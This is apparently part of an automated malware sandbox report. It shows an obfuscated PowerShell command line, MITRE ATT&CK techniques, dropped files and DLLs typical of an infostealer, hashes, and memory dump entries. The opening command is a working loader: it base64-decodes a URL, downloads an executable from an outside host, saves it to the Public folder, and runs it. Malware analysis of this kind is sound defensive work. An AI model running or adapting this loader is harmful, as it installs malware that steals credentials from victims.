"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL wvroy $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;wvroy bwskyfgqtipu $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bwskyfgqtipu;wvroy shlevpgb $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3JiY3h2bmIudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);shlevpgb $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4516

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\ProgramData\freebl3.dll

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C:\ProgramData\freebl3.dll

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C:\ProgramData\mozglue.dll

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C:\ProgramData\mozglue.dll

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C:\ProgramData\msvcp140.dll

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C:\ProgramData\msvcp140.dll

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C:\ProgramData\softokn3.dll

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C:\ProgramData\softokn3.dll

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C:\ProgramData\sqlite3.dll

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C:\ProgramData\sqlite3.dll

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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Temp\1E9A.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\1E9A.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\1E9A.tmp\b.hta

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C:\Users\Admin\AppData\Local\Temp\1E9A.tmp\b1.hta

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C:\Users\Admin\AppData\Local\Temp\1E9A.tmp\ba.hta

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C:\Users\Admin\AppData\Local\Temp\1E9A.tmp\ba1.hta

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C:\Users\Admin\AppData\Local\Temp\1E9A.tmp\m.hta

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C:\Users\Admin\AppData\Local\Temp\1E9A.tmp\m1.hta

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C:\Users\Admin\AppData\Local\Temp\1E9A.tmp\start.bat

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\Rarujmxnv.vbs

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C:\Users\Public\iwx.exe

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C:\Users\Public\iwx.exe

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C:\Users\Public\iwx.exe

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C:\Users\Public\tzo.exe

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C:\Users\Public\tzo.exe

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C:\Users\Public\tzo.exe

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C:\Users\Public\vng.exe

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C:\Users\Public\vng.exe

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\ProgramData\mozglue.dll

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\ProgramData\nss3.dll
MD5
bfac4e3c5908856ba17d41edcd455a51

SHA1
8eec7e888767aa9e4cca8ff246eb2aacb9170428

SHA256
e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

SHA512
2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

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\ProgramData\sqlite3.dll

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memory/1028-0-0x0000000000000000-mapping.dmp

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memory/1300-218-0x000000000043FCC3-mapping.dmp

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memory/1300-217-0x0000000000400000-0x0000000000493000-memory.dmp

Filesize
588KB

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memory/1324-37-0x0000000007620000-0x0000000007621000-memory.dmp

Filesize
4KB

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memory/1324-101-0x000000000ABF0000-0x000000000ABF1000-memory.dmp

Filesize
4KB

Download
memory/1324-100-0x00000000089C0000-0x00000000089C1000-memory.dmp

Filesize
4KB

Download
memory/1324-99-0x0000000009C10000-0x0000000009C11000-memory.dmp

Filesize
4KB

Download
memory/1324-66-0x0000000008900000-0x0000000008901000-memory.dmp

Filesize
4KB

Download
memory/1324-59-0x0000000008A30000-0x0000000008A31000-memory.dmp

Filesize
4KB

Download
memory/1324-55-0x0000000008030000-0x0000000008031000-memory.dmp

Filesize
4KB

Download
memory/1324-15-0x0000000000000000-mapping.dmp

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memory/1324-24-0x0000000070420000-0x0000000070B0E000-memory.dmp

Filesize
6.9MB

Download
memory/1384-45-0x0000000006C60000-0x0000000006C61000-memory.dmp

Filesize
4KB

Download
memory/1384-14-0x0000000000000000-mapping.dmp

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memory/1384-41-0x0000000006BF0000-0x0000000006BF1000-memory.dmp

Filesize
4KB

Download
memory/1384-27-0x0000000006680000-0x0000000006681000-memory.dmp

Filesize
4KB

Download
memory/1384-23-0x0000000070420000-0x0000000070B0E000-memory.dmp

Filesize
6.9MB

Download
memory/1384-49-0x0000000007320000-0x0000000007321000-memory.dmp

Filesize
4KB

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memory/1500-16-0x0000000000000000-mapping.dmp

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memory/1500-26-0x0000000070420000-0x0000000070B0E000-memory.dmp

Filesize
6.9MB

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memory/1500-32-0x00000000077B0000-0x00000000077B1000-memory.dmp

Filesize
4KB

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memory/1900-3-0x0000000000000000-mapping.dmp

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memory/1900-2-0x0000000000000000-mapping.dmp

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memory/2056-13-0x0000000000000000-mapping.dmp

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memory/2180-7-0x0000000000000000-mapping.dmp

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memory/2252-30-0x0000000000000000-mapping.dmp

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memory/2560-9-0x0000000000000000-mapping.dmp

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memory/2564-186-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

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memory/2564-182-0x000000000043FCC3-mapping.dmp

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memory/2700-10-0x0000000000000000-mapping.dmp

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memory/2848-190-0x000000000041A684-mapping.dmp

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memory/3720-25-0x0000000000000000-mapping.dmp

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memory/3720-88-0x0000000009650000-0x0000000009651000-memory.dmp

Filesize
4KB

Download
memory/3720-85-0x000000000A0A0000-0x000000000A0A1000-memory.dmp

Filesize
4KB

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memory/3720-31-0x0000000070420000-0x0000000070B0E000-memory.dmp

Filesize
6.9MB

Download
memory/3724-18-0x0000000000000000-mapping.dmp

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memory/3732-175-0x0000000000000000-mapping.dmp

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memory/3744-206-0x0000000000000000-mapping.dmp

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memory/4156-119-0x0000000000000000-mapping.dmp

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memory/4252-132-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

Download
memory/4252-135-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

Download
memory/4252-133-0x000000000043FCC3-mapping.dmp

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memory/4260-216-0x0000000004DA0000-0x0000000004DA1000-memory.dmp

Filesize
4KB

Download
memory/4268-54-0x0000000000000000-mapping.dmp

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memory/4392-143-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

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memory/4392-136-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

Download
memory/4392-139-0x0000000000417A8B-mapping.dmp

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memory/4396-137-0x0000000000400000-0x0000000000425000-memory.dmp

Filesize
148KB

Download
memory/4396-138-0x000000000041A684-mapping.dmp

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memory/4396-142-0x0000000000400000-0x0000000000425000-memory.dmp

Filesize
148KB

Download
memory/4400-64-0x0000000000000000-mapping.dmp

Download
memory/4412-68-0x0000000070420000-0x0000000070B0E000-memory.dmp

Filesize
6.9MB

Download
memory/4412-65-0x0000000000000000-mapping.dmp

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memory/4420-213-0x0000000000000000-mapping.dmp

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memory/4516-74-0x0000000070420000-0x0000000070B0E000-memory.dmp

Filesize
6.9MB

Download
memory/4516-67-0x0000000000000000-mapping.dmp

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memory/4784-159-0x0000000000000000-mapping.dmp

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memory/4968-102-0x0000000000000000-mapping.dmp

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memory/5000-173-0x0000000000000000-mapping.dmp

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memory/5028-188-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

Download
memory/5028-185-0x0000000000417A8B-mapping.dmp

Download
memory/5072-117-0x0000000070420000-0x0000000070B0E000-memory.dmp

Filesize
6.9MB

Download
memory/5072-208-0x0000000006180000-0x0000000006181000-memory.dmp

Filesize
4KB

Download
memory/5072-214-0x0000000006930000-0x000000000693D000-memory.dmp

Filesize
52KB

Download
memory/5072-200-0x0000000005880000-0x0000000005930000-memory.dmp

Filesize
704KB

Download
memory/5072-114-0x0000000000000000-mapping.dmp

Download
memory/5072-126-0x0000000000D20000-0x0000000000D21000-memory.dmp

Filesize
4KB

Download
memory/5108-118-0x0000000000000000-mapping.dmp

Download